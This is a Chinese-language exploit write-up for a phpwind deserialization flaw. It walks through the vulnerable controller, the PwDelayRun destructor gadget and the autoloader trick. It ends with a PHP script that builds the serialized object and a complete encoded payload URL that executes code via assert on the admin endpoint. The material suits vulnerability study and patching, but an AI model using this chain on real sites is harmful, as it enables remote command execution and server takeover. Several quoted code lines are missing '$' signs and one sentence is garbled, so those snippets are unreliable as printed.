在\src\applications\task\admin\TaskConditionBbsController.php路径下我们发现了用户可控数据的反序列化,因为getInput()函数可以接受用户的get、post、cookie传参。
$var = unserialize($this->getInput('var'));
public function beforeAction($handlerAdapter) { parent::beforeAction($handlerAdapter); $var = unserialize($this->getInput('var')); if (is_array($var)) { $this->setOutput($var, 'condition'); }
beforeAction将会在实际执行Action之前执行,即下图五个Action。这里用户传入的var,进行反序列化,就是我们可以利用的点。
当$var销毁时会自动调用 _ destruct()析构函数。定位到_destruct()析构函数,在PwDelayRun类中,将callback数组遍历,然后用call_user_func_array回调函数执行,所以我么只需要传递value=assert,callback[key]=....,就可以任意执行命令了。
class PwDelayRun { private static $instance = null; private $_callback = array(); private $_args = array(); private function __construct() { } public function __destruct() { foreach (this->_callback as key => $value) { call_user_func_array(value, this->_args[$key]); } } ... }
src\library\utility\PwDelayRun.php
但PwDelayRun类并没有被phpwind默认加载,当$var销毁时就找不到 _ destruct()析构函数。我们也就但如果我们使用的是不存在的类,就会直接传入注册好的spl_autoload函数中。
接着我们追踪到spl_autoload函数,spl_autoload函数定义在了init() 初始化函数中。
public static function init() { if (function_exists('spl_autoload_register')) spl_autoload_register('Wind::autoLoad'); else self::$_isAutoLoad = false; self::_loadBaseLib(); }
将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad
public static function autoLoad(className, path = '') { if ($path) include path . '.' . self::_extensions; elseif (isset(self::_classes[className])) { include self::_classes[className] . '.' . self::$_extensions; } else include className . '.' . self::_extensions; }
如果路径传的空值,则会进入include className . '.' . self::_extensions;执行语句。但这里并不能传递路径,我们该如何把类传递进来呢?类名中是可以包含\的,我们直接在className传递PwDelayRun类的路径src/library/utility/PwDelayRun.php,就可以加载PwDelayRun类。
但phpwind默认全局命名空间为\,将类名设置为src\library\utility\PwDelayRun,并不能加载出PwDelayRun类。所以我们需要创建src\library\utility\PwDelayRun类和\PwDelayRun类两个对象。在反序列化的过程,第一个类调用autoLoad自动加载类函数中的include文件包含className执行语句,第二个类拿到PwDelayRun对象。
此外我们还需要注意beforeAction()函数,当传递的参数$var是数组的话,就会设置到output里。最后该对象并没有销毁,也就没有调用__destruct函数。所以我们需要将$obj设置为对象。
public function beforeAction($handlerAdapter) { parent::beforeAction($handlerAdapter); var = unserialize(this->getInput('var')); if (is_array($var)) { this->setOutput(var, 'condition'); } }
执行如下代码即可拿到POC对象
<?php
namespace src\library\utility {
class PwDelayRun{
}
}
namespace{
class PwDelayRun{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo();exit;"]
];
}
}
header("Content-Type: text/plain");
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}
?>
最终运行上述脚本,得到payload
http://127.0.0.1/cms/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D